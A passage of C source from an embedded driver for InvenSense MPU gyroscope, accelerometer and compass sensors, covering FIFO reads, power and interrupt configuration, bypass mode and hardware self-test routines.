*rate) { #ifdef AK89xx_SECONDARY rate[0] = st.chip_cfg.compass_sample_rate; return 0; #else rate[0] = 0; return -1; #endif } /** * @brief Set compass sampling rate. * The compass on the auxiliary I2C bus is read by the MPU hardware at a * maximum of 100Hz. The actual rate can be set to a fraction of the gyro * sampling rate. * * \n WARNING: The new rate may be different than what was requested. Call * mpu_get_compass_sample_rate to check the actual setting. * @param[in] rate Desired compass sampling rate (Hz). * @return 0 if successful. */ int mpu_set_compass_sample_rate(unsigned short rate) { #ifdef AK89xx_SECONDARY unsigned char div; if (!rate || rate > st.chip_cfg.sample_rate || rate > MAX_COMPASS_SAMPLE_RATE) return -1; div = st.chip_cfg.sample_rate / rate - 1; if (i2c_write(st.hw->addr, st.reg->s4_ctrl, 1, &div)) return -1; st.chip_cfg.compass_sample_rate = st.chip_cfg.sample_rate / (div + 1); return 0; #else return -1; #endif } /** * @brief Get gyro sensitivity scale factor. * @param[out] sens Conversion from hardware units to dps. * @return 0 if successful. */ int mpu_get_gyro_sens(float *sens) { switch (st.chip_cfg.gyro_fsr) { case INV_FSR_250DPS: sens[0] = 131.f; break; case INV_FSR_500DPS: sens[0] = 65.5f; break; case INV_FSR_1000DPS: sens[0] = 32.8f; break; case INV_FSR_2000DPS: sens[0] = 16.4f; break; default: return -1; } return 0; } /** * @brief Get accel sensitivity scale factor. * @param[out] sens Conversion from hardware units to g's. * @return 0 if successful. */ int mpu_get_accel_sens(unsigned short *sens) { switch (st.chip_cfg.accel_fsr) { case INV_FSR_2G: sens[0] = 16384; break; case INV_FSR_4G: sens[0] = 8192; break; case INV_FSR_8G: sens[0] = 4096; break; case INV_FSR_16G: sens[0] = 2048; break; default: return -1; } if (st.chip_cfg.accel_half) sens[0] >>= 1; return 0; } /** * @brief Get current FIFO configuration. * @e sensors can contain a combination of the following flags: * \n INV_X_GYRO, INV_Y_GYRO, INV_Z_GYRO * \n INV_XYZ_GYRO * \n INV_XYZ_ACCEL * @param[out] sensors Mask of sensors in FIFO. * @return 0 if successful. */ int mpu_get_fifo_config(unsigned char *sensors) { sensors[0] = st.chip_cfg.fifo_enable; return 0; } /** * @brief Select which sensors are pushed to FIFO. * @e sensors can contain a combination of the following flags: * \n INV_X_GYRO, INV_Y_GYRO, INV_Z_GYRO * \n INV_XYZ_GYRO * \n INV_XYZ_ACCEL * @param[in] sensors Mask of sensors to push to FIFO. * @return 0 if successful. */ int mpu_configure_fifo(unsigned char sensors) { unsigned char prev; int result = 0; /* Compass data isn't going into the FIFO. Stop trying. */ sensors &= ~INV_XYZ_COMPASS; if (st.chip_cfg.dmp_on) return 0; else { if (!(st.chip_cfg.sensors)) return -1; prev = st.chip_cfg.fifo_enable; st.chip_cfg.fifo_enable = sensors & st.chip_cfg.sensors; if (st.chip_cfg.fifo_enable != sensors) /* You're not getting what you asked for. Some sensors are * asleep. */ result = -1; else result = 0; if (sensors || st.chip_cfg.lp_accel_mode) set_int_enable(1); else set_int_enable(0); if (sensors) { if (mpu_reset_fifo()) { st.chip_cfg.fifo_enable = prev; return -1; } } } return result; } /** * @brief Get current power state. * @param[in] power_on 1 if turned on, 0 if suspended. * @return 0 if successful. */ int mpu_get_power_state(unsigned char *power_on) { if (st.chip_cfg.sensors) power_on[0] = 1; else power_on[0] = 0; return 0; } /** * @brief Turn specific sensors on/off. * @e sensors can contain a combination of the following flags: * \n INV_X_GYRO, INV_Y_GYRO, INV_Z_GYRO * \n INV_XYZ_GYRO * \n INV_XYZ_ACCEL * \n INV_XYZ_COMPASS * @param[in] sensors Mask of sensors to wake. * @return 0 if successful. */ int mpu_set_sensors(unsigned char sensors) { unsigned char data; #ifdef AK89xx_SECONDARY unsigned char user_ctrl; #endif if (sensors & INV_XYZ_GYRO) data = INV_CLK_PLL; else if (sensors) data = 0; else data = BIT_SLEEP; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, &data)) { st.chip_cfg.sensors = 0; return -1; } st.chip_cfg.clk_src = data & ~BIT_SLEEP; data = 0; if (!(sensors & INV_X_GYRO)) data |= BIT_STBY_XG; if (!(sensors & INV_Y_GYRO)) data |= BIT_STBY_YG; if (!(sensors & INV_Z_GYRO)) data |= BIT_STBY_ZG; if (!(sensors & INV_XYZ_ACCEL)) data |= BIT_STBY_XYZA; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_2, 1, &data)) { st.chip_cfg.sensors = 0; return -1; } if (sensors && (sensors != INV_XYZ_ACCEL)) /* Latched interrupts only used in LP accel mode. */ mpu_set_int_latched(0); #ifdef AK89xx_SECONDARY #ifdef AK89xx_BYPASS if (sensors & INV_XYZ_COMPASS) mpu_set_bypass(1); else mpu_set_bypass(0); #else if (i2c_read(st.hw->addr, st.reg->user_ctrl, 1, &user_ctrl)) return -1; /* Handle AKM power management. */ if (sensors & INV_XYZ_COMPASS) { data = AKM_SINGLE_MEASUREMENT; user_ctrl |= BIT_AUX_IF_EN; } else { data = AKM_POWER_DOWN; user_ctrl &= ~BIT_AUX_IF_EN; } if (st.chip_cfg.dmp_on) user_ctrl |= BIT_DMP_EN; else user_ctrl &= ~BIT_DMP_EN; if (i2c_write(st.hw->addr, st.reg->s1_do, 1, &data)) return -1; /* Enable/disable I2C master mode. */ if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &user_ctrl)) return -1; #endif #endif st.chip_cfg.sensors = sensors; st.chip_cfg.lp_accel_mode = 0; delay_ms(50); return 0; } /** * @brief Read the MPU interrupt status registers. * @param[out] status Mask of interrupt bits. * @return 0 if successful. */ int mpu_get_int_status(short *status) { unsigned char tmp[2]; if (!st.chip_cfg.sensors) return -1; if (i2c_read(st.hw->addr, st.reg->dmp_int_status, 2, tmp)) return -1; status[0] = (tmp[0] << 8) | tmp[1]; return 0; } /** * @brief Get one packet from the FIFO. * If @e sensors does not contain a particular sensor, disregard the data * returned to that pointer. * \n @e sensors can contain a combination of the following flags: * \n INV_X_GYRO, INV_Y_GYRO, INV_Z_GYRO * \n INV_XYZ_GYRO * \n INV_XYZ_ACCEL * \n If the FIFO has no new data, @e sensors will be zero. * \n If the FIFO is disabled, @e sensors will be zero and this function will * return a non-zero error code. * @param[out] gyro Gyro data in hardware units. * @param[out] accel Accel data in hardware units. * @param[out] timestamp Timestamp in milliseconds. * @param[out] sensors Mask of sensors read from FIFO. * @param[out] more Number of remaining packets. * @return 0 if successful. */ int mpu_read_fifo(short *gyro, short *accel, unsigned long *timestamp, unsigned char *sensors, unsigned char *more) { /* Assumes maximum packet size is gyro (6) + accel (6). */ unsigned char data[MAX_PACKET_LENGTH]; unsigned char packet_size = 0; unsigned short fifo_count, index = 0; if (st.chip_cfg.dmp_on) return -1; sensors[0] = 0; if (!st.chip_cfg.sensors) return -1; if (!st.chip_cfg.fifo_enable) return -1; if (st.chip_cfg.fifo_enable & INV_X_GYRO) packet_size += 2; if (st.chip_cfg.fifo_enable & INV_Y_GYRO) packet_size += 2; if (st.chip_cfg.fifo_enable & INV_Z_GYRO) packet_size += 2; if (st.chip_cfg.fifo_enable & INV_XYZ_ACCEL) packet_size += 6; if (i2c_read(st.hw->addr, st.reg->fifo_count_h, 2, data)) return -1; fifo_count = (data[0] << 8) | data[1]; if (fifo_count < packet_size) return 0; // log_i("FIFO count: %hd\n", fifo_count); if (fifo_count > (st.hw->max_fifo >> 1)) { /* FIFO is 50% full, better check overflow bit. */ if (i2c_read(st.hw->addr, st.reg->int_status, 1, data)) return -1; if (data[0] & BIT_FIFO_OVERFLOW) { mpu_reset_fifo(); return -2; } } get_ms((unsigned long*)timestamp); if (i2c_read(st.hw->addr, st.reg->fifo_r_w, packet_size, data)) return -1; more[0] = fifo_count / packet_size - 1; sensors[0] = 0; if ((index != packet_size) && st.chip_cfg.fifo_enable & INV_XYZ_ACCEL) { accel[0] = (data[index+0] << 8) | data[index+1]; accel[1] = (data[index+2] << 8) | data[index+3]; accel[2] = (data[index+4] << 8) | data[index+5]; sensors[0] |= INV_XYZ_ACCEL; index += 6; } if ((index != packet_size) && st.chip_cfg.fifo_enable & INV_X_GYRO) { gyro[0] = (data[index+0] << 8) | data[index+1]; sensors[0] |= INV_X_GYRO; index += 2; } if ((index != packet_size) && st.chip_cfg.fifo_enable & INV_Y_GYRO) { gyro[1] = (data[index+0] << 8) | data[index+1]; sensors[0] |= INV_Y_GYRO; index += 2; } if ((index != packet_size) && st.chip_cfg.fifo_enable & INV_Z_GYRO) { gyro[2] = (data[index+0] << 8) | data[index+1]; sensors[0] |= INV_Z_GYRO; index += 2; } return 0; } /** * @brief Get one unparsed packet from the FIFO. * This function should be used if the packet is to be parsed elsewhere. * @param[in] length Length of one FIFO packet. * @param[in] data FIFO packet. * @param[in] more Number of remaining packets. */ int mpu_read_fifo_stream(unsigned short length, unsigned char *data, unsigned char *more) { unsigned char tmp[2]; unsigned short fifo_count; if (!st.chip_cfg.dmp_on) return -1; if (!st.chip_cfg.sensors) return -1; if (i2c_read(st.hw->addr, st.reg->fifo_count_h, 2, tmp)) return -1; fifo_count = (tmp[0] << 8) | tmp[1]; if (fifo_count < length) { more[0] = 0; return -1; } if (fifo_count > (st.hw->max_fifo >> 1)) { /* FIFO is 50% full, better check overflow bit. */ if (i2c_read(st.hw->addr, st.reg->int_status, 1, tmp)) return -1; if (tmp[0] & BIT_FIFO_OVERFLOW) { mpu_reset_fifo(); return -2; } } if (i2c_read(st.hw->addr, st.reg->fifo_r_w, length, data)) return -1; more[0] = fifo_count / length - 1; return 0; } /** * @brief Set device to bypass mode. * @param[in] bypass_on 1 to enable bypass mode. * @return 0 if successful. */ int mpu_set_bypass(unsigned char bypass_on) { unsigned char tmp; if (st.chip_cfg.bypass_mode == bypass_on) return 0; if (bypass_on) { if (i2c_read(st.hw->addr, st.reg->user_ctrl, 1, &tmp)) return -1; tmp &= ~BIT_AUX_IF_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &tmp)) return -1; delay_ms(3); tmp = BIT_BYPASS_EN; if (st.chip_cfg.active_low_int) tmp |= BIT_ACTL; if (st.chip_cfg.latched_int) tmp |= BIT_LATCH_EN | BIT_ANY_RD_CLR; if (i2c_write(st.hw->addr, st.reg->int_pin_cfg, 1, &tmp)) return -1; } else { /* Enable I2C master mode if compass is being used. */ if (i2c_read(st.hw->addr, st.reg->user_ctrl, 1, &tmp)) return -1; if (st.chip_cfg.sensors & INV_XYZ_COMPASS) tmp |= BIT_AUX_IF_EN; else tmp &= ~BIT_AUX_IF_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, &tmp)) return -1; delay_ms(3); if (st.chip_cfg.active_low_int) tmp = BIT_ACTL; else tmp = 0; if (st.chip_cfg.latched_int) tmp |= BIT_LATCH_EN | BIT_ANY_RD_CLR; if (i2c_write(st.hw->addr, st.reg->int_pin_cfg, 1, &tmp)) return -1; } st.chip_cfg.bypass_mode = bypass_on; return 0; } /** * @brief Set interrupt level. * @param[in] active_low 1 for active low, 0 for active high. * @return 0 if successful. */ int mpu_set_int_level(unsigned char active_low) { st.chip_cfg.active_low_int = active_low; return 0; } /** * @brief Enable latched interrupts. * Any MPU register will clear the interrupt. * @param[in] enable 1 to enable, 0 to disable. * @return 0 if successful. */ int mpu_set_int_latched(unsigned char enable) { unsigned char tmp; if (st.chip_cfg.latched_int == enable) return 0; if (enable) tmp = BIT_LATCH_EN | BIT_ANY_RD_CLR; else tmp = 0; if (st.chip_cfg.bypass_mode) tmp |= BIT_BYPASS_EN; if (st.chip_cfg.active_low_int) tmp |= BIT_ACTL; if (i2c_write(st.hw->addr, st.reg->int_pin_cfg, 1, &tmp)) return -1; st.chip_cfg.latched_int = enable; return 0; } #ifdef MPU6050 static int get_accel_prod_shift(float *st_shift) { unsigned char tmp[4], shift_code[3], ii; if (i2c_read(st.hw->addr, 0x0D, 4, tmp)) return 0x07; shift_code[0] = ((tmp[0] & 0xE0) >> 3) | ((tmp[3] & 0x30) >> 4); shift_code[1] = ((tmp[1] & 0xE0) >> 3) | ((tmp[3] & 0x0C) >> 2); shift_code[2] = ((tmp[2] & 0xE0) >> 3) | (tmp[3] & 0x03); for (ii = 0; ii < 3; ii++) { if (!shift_code[ii]) { st_shift[ii] = 0.f; continue; } /* Equivalent to.. * st_shift[ii] = 0.34f * powf(0.92f/0.34f, (shift_code[ii]-1) / 30.f) */ st_shift[ii] = 0.34f; while (--shift_code[ii]) st_shift[ii] *= 1.034f; } return 0; } static int accel_self_test(long *bias_regular, long *bias_st) { int jj, result = 0; float st_shift[3], st_shift_cust, st_shift_var; get_accel_prod_shift(st_shift); for(jj = 0; jj < 3; jj++) { st_shift_cust = labs(bias_regular[jj] - bias_st[jj]) / 65536.f; if (st_shift[jj]) { st_shift_var = st_shift_cust / st_shift[jj] - 1.f; if (fabs(st_shift_var) > test.max_accel_var) result |= 1 << jj; } else if ((st_shift_cust < test.min_g) || (st_shift_cust > test.max_g)) result |= 1 << jj; } return result; } static int gyro_self_test(long *bias_regular, long *bias_st) { int jj, result = 0; unsigned char tmp[3]; float st_shift, st_shift_cust, st_shift_var; if (i2c_read(st.hw->addr, 0x0D, 3, tmp)) return 0x07; tmp[0] &= 0x1F; tmp[1] &= 0x1F; tmp[2] &= 0x1F; for (jj = 0; jj < 3; jj++) { st_shift_cust = labs(bias_regular[jj] - bias_st[jj]) / 65536.f; if (tmp[jj]) { st_shift = 3275.f / test.gyro_sens; while (--tmp[jj]) st_shift *= 1.046f; st_shift_var = st_shift_cust / st_shift - 1.f; if (fabs(st_shift_var) > test.max_gyro_var) result |= 1 << jj; } else if ((st_shift_cust < test.min_dps) || (st_shift_cust > test.max_dps)) result |= 1 << jj; } return result; } #endif #ifdef AK89xx_SECONDARY static int compass_self_test(void) { unsigned char tmp[6]; unsigned char tries = 10; int result = 0x07; short data; mpu_set_bypass(1); tmp[0] = AKM_POWER_DOWN; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, tmp)) return 0x07; tmp[0] = AKM_BIT_SELF_TEST; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_ASTC, 1, tmp)) goto AKM_restore; tmp[0] = AKM_MODE_SELF_TEST; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, tmp)) goto AKM_restore; do { delay_ms(10); if (i2c_read(st.chip_cfg.compass_addr, AKM_REG_ST1, 1, tmp)) goto AKM_restore; if (tmp[0] & AKM_DATA_READY) break; } while (tries--); if (!(tmp[0] & AKM_DATA_READY)) goto AKM_restore; if (i2c_read(st.chip_cfg.compass_addr, AKM_REG_HXL, 6, tmp)) goto AKM_restore; result = 0; #if defined MPU9150 data = (short)(tmp[1] << 8) | tmp[0]; if ((data > 100) || (data < -100)) result |= 0x01; data = (short)(tmp[3] << 8) | tmp[2]; if ((data > 100) || (data < -100)) result |= 0x02; data = (short)(tmp[5] << 8) | tmp[4]; if ((data > -300) || (data < -1000)) result |= 0x04; #elif defined MPU9250 data = (short)(tmp[1] << 8) | tmp[0]; if ((data > 200) || (data < -200)) result |= 0x01; data = (short)(tmp[3] << 8) | tmp[2]; if ((data > 200) || (data < -200)) result |= 0x02; data = (short)(tmp[5] << 8) | tmp[4]; if ((data > -800) || (data < -3200)) result |= 0x04; #endif AKM_restore: tmp[0] = 0 | SUPPORTS_AK89xx_HIGH_SENS; i2c_write(st.chip_cfg.compass_addr, AKM_REG_ASTC, 1, tmp); tmp[0] = SUPPORTS_AK89xx_HIGH_SENS; i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, tmp); mpu_set_bypass(0); return result; } #endif static int get_st_biases(long *gyro, long *accel, unsigned char hw_test) { unsigned char data[MAX_PACKET_LENGTH]; unsigned char packet_count, ii; unsigned short fifo_count; data[0] = 0x01; data[1] = 0; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 2, data)) return -1; delay_ms(200); data[0] = 0; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->i2c_mst, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; data[0] = BIT_FIFO_RST | BIT_DMP_RST; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; delay_ms(15); data[0] = st.test->reg_lpf; if (i2c_write(st.hw->addr, st.reg->lpf, 1, data)) return -1; data[0] = st.test->reg_rate_div; if (i2c_write(st.hw->addr, st.reg->rate_div, 1, data)) return -1; if (hw_test) data[0] = st.test->reg_gyro_fsr | 0xE0; else data[0] = st.test->reg_gyro_fsr; if (i2c_write(st.hw->addr, st.reg->gyro_cfg, 1, data)) return -1; if (hw_test) data[0] = st.test->reg_accel_fsr | 0xE0; else data[0] = test.reg_accel_fsr; if (i2c_write(st.hw->addr, st.reg->accel_cfg, 1, data)) return -1; if (hw_test) delay_ms(200); /* Fill FIFO for test.wait_ms milliseconds. */ data[0] = BIT_FIFO_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; data[0] = INV_XYZ_GYRO | INV_XYZ_ACCEL; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; delay_ms(test.wait_ms); data[0] = 0; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; if (i2c_read(st.hw->addr, st.reg->fifo_count_h, 2, data)) return -1; fifo_count = (data[0] << 8) | data[1]; packet_count = fifo_count / MAX_PACKET_LENGTH; gyro[0] = gyro[1] = gyro[2] = 0; accel[0] = accel[1] = accel[2] = 0; for (ii = 0; ii < packet_count; ii++) { short accel_cur[3], gyro_cur[3]; if (i2c_read(st.hw->addr, st.reg->fifo_r_w, MAX_PACKET_LENGTH, data)) return -1; accel_cur[0] = ((short)data[0] << 8) | data[1]; accel_cur[1] = ((short)data[2] << 8) | data[3]; accel_cur[2] = ((short)data[4] << 8) | data[5]; accel[0] += (long)accel_cur[0]; accel[1] += (long)accel_cur[1]; accel[2] += (long)accel_cur[2]; gyro_cur[0] = (((short)data[6] << 8) | data[7]); gyro_cur[1] = (((short)data[8] << 8) | data[9]); gyro_cur[2] = (((short)data[10] << 8) | data[11]); gyro[0] += (long)gyro_cur[0]; gyro[1] += (long)gyro_cur[1]; gyro[2] += (long)gyro_cur[2]; } #ifdef EMPL_NO_64BIT gyro[0] = (long)(((float)gyro[0]*65536.f) / test.gyro_sens / packet_count); gyro[1] = (long)(((float)gyro[1]*65536.f) / test.gyro_sens / packet_count); gyro[2] = (long)(((float)gyro[2]*65536.f) / test.gyro_sens / packet_count); if (has_accel) { accel[0] = (long)(((float)accel[0]*65536.f) / test.accel_sens / packet_count); accel[1] = (long)(((float)accel[1]*65536.f) / test.accel_sens / packet_count); accel[2] = (long)(((float)accel[2]*65536.f) / test.accel_sens / packet_count); /* Don't remove gravity! */ accel[2] -= 65536L; } #else gyro[0] = (long)(((long long)gyro[0]<<16) / test.gyro_sens / packet_count); gyro[1] = (long)(((long long)gyro[1]<<16) / test.gyro_sens / packet_count); gyro[2] = (long)(((long long)gyro[2]<<16) / test.gyro_sens / packet_count); accel[0] = (long)(((long long)accel[0]<<16) / test.accel_sens / packet_count); accel[1] = (long)(((long long)accel[1]<<16) / test.accel_sens / packet_count); accel[2] = (long)(((long long)accel[2]<<16) / test.accel_sens / packet_count); /* Don't remove gravity! */ if (accel[2] > 0L) accel[2] -= 65536L; else accel[2] += 65536L; #endif return 0; } #ifdef MPU6500 #define REG_6500_XG_ST_DATA 0x0 #define REG_6500_XA_ST_DATA 0xD static const unsigned short mpu_6500_st_tb[256] = { 2620,2646,2672,2699,2726,2753,2781,2808, //7 2837,2865,2894,2923,2952,2981,3011,3041, //15 3072,3102,3133,3165,3196,3228,3261,3293, //23 3326,3359,3393,3427,3461,3496,3531,3566, //31 3602,3638,3674,3711,3748,3786,3823,3862, //39 3900,3939,3979,4019,4059,4099,4140,4182, //47 4224,4266,4308,4352,4395,4439,4483,4528, //55 4574,4619,4665,4712,4759,4807,4855,4903, //63 4953,5002,5052,5103,5154,5205,5257,5310, //71 5363,5417,5471,5525,5581,5636,5693,5750, //79 5807,5865,5924,5983,6043,6104,6165,6226, //87 6289,6351,6415,6479,6544,6609,6675,6742, //95 6810,6878,6946,7016,7086,7157,7229,7301, //103 7374,7448,7522,7597,7673,7750,7828,7906, //111 7985,8065,8145,8227,8309,8392,8476,8561, //119 8647,8733,8820,8909,8998,9088,9178,9270, 9363,9457,9551,9647,9743,9841,9939,10038, 10139,10240,10343,10446,10550,10656,10763,10870, 10979,11089,11200,11312,11425,11539,11654,11771, 11889,12008,12128,12249,12371,12495,12620,12746, 12874,13002,13132,13264,13396,13530,13666,13802, 13940,14080,14221,14363,14506,14652,14798,14946, 15096,15247,15399,15553,15709,15866,16024,16184, 16346,16510,16675,16842,17010,17180,17352,17526, 17701,17878,18057,18237,18420,18604,18790,18978, 19167,19359,19553,19748,19946,20145,20347,20550, 20756,20963,21173,21385,21598,21814,22033,22253, 22475,22700,22927,23156,23388,23622,23858,24097, 24338,24581,24827,25075,25326,25579,25835,26093, 26354,26618,26884,27153,27424,27699,27976,28255, 28538,28823,29112,29403,29697,29994,30294,30597, 30903,31212,31524,31839,32157,32479,32804,33132 }; static int accel_6500_self_test(long *bias_regular, long *bias_st, int debug) { int i, result = 0, otp_value_zero = 0; float accel_st_al_min, accel_st_al_max; float st_shift_cust[3], st_shift_ratio[3], ct_shift_prod[3], accel_offset_max; unsigned char regs[3]; if (i2c_read(st.hw->addr, REG_6500_XA_ST_DATA, 3, regs)) { if(debug) log_i("Reading OTP Register Error.\n"); return 0x07; } if(debug) log_i("Accel OTP:%d, %d, %d\n", regs[0], regs[1], regs[2]); for (i = 0; i < 3; i++) { if (regs[i] != 0) { ct_shift_prod[i] = mpu_6500_st_tb[regs[i] - 1]; ct_shift_prod[i] *= 65536.f; ct_shift_prod[i] /= test.accel_sens; } else { ct_shift_prod[i] = 0; otp_value_zero = 1; } } if(otp_value_zero == 0) { if(debug) log_i("ACCEL:CRITERIA A\n"); for (i = 0; i < 3; i++) { st_shift_cust[i] = bias_st[i] - bias_regular[i]; if(debug) { log_i("Bias_Shift=%7.4f, Bias_Reg=%7.4f, Bias_HWST=%7.4f\r\n", st_shift_cust[i]/1.f, bias_regular[i]/1.f, bias_st[i]/1.f); log_i("OTP value: %7.4f\r\n", ct_shift_prod[i]/1.f); } st_shift_ratio[i] = st_shift_cust[i] / ct_shift_prod[i] - 1.f; if(debug) log_i("ratio=%7.4f, threshold=%7.4f\r\n", st_shift_ratio[i]/1.f, test.max_accel_var/1.f); if (fabs(st_shift_ratio[i]) > test.max_accel_var) { if(debug) log_i("ACCEL Fail Axis = %d\n", i); result |= 1 << i; //Error condition } } } else { /* Self Test Pass/Fail Criteria B */ accel_st_al_min = test.min_g * 65536.f; accel_st_al_max = test.max_g * 65536.f; if(debug) { log_i("ACCEL:CRITERIA B\r\n"); log_i("Min MG: %7.4f\r\n", accel_st_al_min/1.f); log_i("Max MG: %7.4f\r\n", accel_st_al_max/1.f); } for (i = 0; i < 3; i++) { st_shift_cust[i] = bias_st[i] - bias_regular[i]; if(debug) log_i("Bias_shift=%7.4f, st=%7.4f, reg=%7.4f\n", st_shift_cust[i]/1.f, bias_st[i]/1.f, bias_regular[i]/1.f); if(st_shift_cust[i] < accel_st_al_min || st_shift_cust[i] > accel_st_al_max) { if(debug) log_i("Accel FAIL axis:%d <= 225mg or >= 675mg\n", i); result |= 1 << i; //Error condition } } } if(result == 0) { /* Self Test Pass/Fail Criteria C */ accel_offset_max = test.max_g_offset * 65536.f; if(debug) log_i("Accel:CRITERIA C: bias less than %7.4f\n", accel_offset_max/1.f); for (i = 0; i < 3; i++) { if(fabs(bias_regular[i]) > accel_offset_max) { if(debug) log_i("FAILED: Accel axis:%d = %ld > 500mg\n", i, bias_regular[i]); result |= 1 << i; //Error condition } } } return result; } static int gyro_6500_self_test(long *bias_regular, long *bias_st, int debug) { int i, result = 0, otp_value_zero = 0; float gyro_st_al_max; float st_shift_cust[3], st_shift_ratio[3], ct_shift_prod[3], gyro_offset_max; unsigned char regs[3]; if (i2c_read(st.hw->addr, REG_6500_XG_ST_DATA, 3, regs)) { if(debug) log_i("Reading OTP Register Error.\n"); return 0x07; } if(debug) log_i("Gyro OTP:%d, %d, %d\r\n", regs[0], regs[1], regs[2]); for (i = 0; i < 3; i++) { if (regs[i] != 0) { ct_shift_prod[i] = mpu_6500_st_tb[regs[i] - 1]; ct_shift_prod[i] *= 65536.f; ct_shift_prod[i] /= test.gyro_sens; } else { ct_shift_prod[i] = 0; otp_value_zero = 1; } } if(otp_value_zero == 0) { if(debug) log_i("GYRO:CRITERIA A\n"); /* Self Test Pass/Fail Criteria A */ for (i = 0; i < 3; i++) { st_shift_cust[i] = bias_st[i] - bias_regular[i]; if(debug) { log_i("Bias_Shift=%7.4f, Bias_Reg=%7.4f, Bias_HWST=%7.4f\r\n", st_shift_cust[i]/1.f, bias_regular[i]/1.f, bias_st[i]/1.f); log_i("OTP value: %7.4f\r\n", ct_shift_prod[i]/1.f); } st_shift_ratio[i] = st_shift_cust[i] / ct_shift_prod[i]; if(debug) log_i("ratio=%7.4f, threshold=%7.4f\r\n", st_shift_ratio[i]/1.f, test.max_gyro_var/1.f); if (fabs(st_shift_ratio[i]) < test.max_gyro_var) { if(debug) log_i("Gyro Fail Axis = %d\n", i); result |= 1 << i; //Error condition } } } else { /* Self Test Pass/Fail Criteria B */ gyro_st_al_max = test.max_dps * 65536.f; if(debug) { log_i("GYRO:CRITERIA B\r\n"); log_i("Max DPS: %7.4f\r\n", gyro_st_al_max/1.f); } for (i = 0; i < 3; i++) { st_shift_cust[i] = bias_st[i] - bias_regular[i]; if(debug) log_i("Bias_shift=%7.4f, st=%7.4f, reg=%7.4f\n", st_shift_cust[i]/1.f, bias_st[i]/1.f, bias_regular[i]/1.f); if(st_shift_cust[i] < gyro_st_al_max) { if(debug) log_i("GYRO FAIL axis:%d greater than 60dps\n", i); result |= 1 << i; //Error condition } } } if(result == 0) { /* Self Test Pass/Fail Criteria C */ gyro_offset_max = test.min_dps * 65536.f; if(debug) log_i("Gyro:CRITERIA C: bias less than %7.4f\n", gyro_offset_max/1.f); for (i = 0; i < 3; i++) { if(fabs(bias_regular[i]) > gyro_offset_max) { if(debug) log_i("FAILED: Gyro axis:%d = %ld > 20dps\n", i, bias_regular[i]); result |= 1 << i; //Error condition } } } return result; } static int get_st_6500_biases(long *gyro, long *accel, unsigned char hw_test, int debug) { unsigned char data[HWST_MAX_PACKET_LENGTH]; unsigned char packet_count, ii; unsigned short fifo_count; int s = 0, read_size = 0, ind; data[0] = 0x01; data[1] = 0; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 2, data)) return -1; delay_ms(200); data[0] = 0; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->i2c_mst, 1, data)) return -1; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; data[0] = BIT_FIFO_RST | BIT_DMP_RST; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; delay_ms(15); data[0] = st.test->reg_lpf; if (i2c_write(st.hw->addr, st.reg->lpf, 1, data)) return -1; data[0] = st.test->reg_rate_div; if (i2c_write(st.hw->addr, st.reg->rate_div, 1, data)) return -1; if (hw_test) data[0] = st.test->reg_gyro_fsr | 0xE0; else data[0] = st.test->reg_gyro_fsr; if (i2c_write(st.hw->addr, st.reg->gyro_cfg, 1, data)) return -1; if (hw_test) data[0] = st.test->reg_accel_fsr | 0xE0; else data[0] = test.reg_accel_fsr; if (i2c_write(st.hw->addr, st.reg->accel_cfg, 1, data)) return -1; delay_ms(test.wait_ms); //wait 200ms for sensors to stabilize /* Enable FIFO */ data[0] = BIT_FIFO_EN; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 1, data)) return -1; data[0] = INV_XYZ_GYRO | INV_XYZ_ACCEL; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; //initialize the bias return values gyro[0] = gyro[1] = gyro[2] = 0; accel[0] = accel[1] = accel[2] = 0; if(debug) log_i("Starting Bias Loop Reads\n"); //start reading samples while (s < test.packet_thresh) { delay_ms(test.sample_wait_ms); //wait 10ms to fill FIFO if (i2c_read(st.hw->addr, st.reg->fifo_count_h, 2, data)) return -1; fifo_count = (data[0] << 8) | data[1]; packet_count = fifo_count / MAX_PACKET_LENGTH; if ((test.packet_thresh - s) < packet_count) packet_count = test.packet_thresh - s; read_size = packet_count * MAX_PACKET_LENGTH; //burst read from FIFO if (i2c_read(st.hw->addr, st.reg->fifo_r_w, read_size, data)) return -1; ind = 0; for (ii = 0; ii < packet_count; ii++) { short accel_cur[3], gyro_cur[3]; accel_cur[0] = ((short)data[ind + 0] << 8) | data[ind + 1]; accel_cur[1] = ((short)data[ind + 2] << 8) | data[ind + 3]; accel_cur[2] = ((short)data[ind + 4] << 8) | data[ind + 5]; accel[0] += (long)accel_cur[0]; accel[1] += (long)accel_cur[1]; accel[2] += (long)accel_cur[2]; gyro_cur[0] = (((short)data[ind + 6] << 8) | data[ind + 7]); gyro_cur[1] = (((short)data[ind + 8] << 8) | data[ind + 9]); gyro_cur[2] = (((short)data[ind + 10] << 8) | data[ind + 11]); gyro[0] += (long)gyro_cur[0]; gyro[1] += (long)gyro_cur[1]; gyro[2] += (long)gyro_cur[2]; ind += 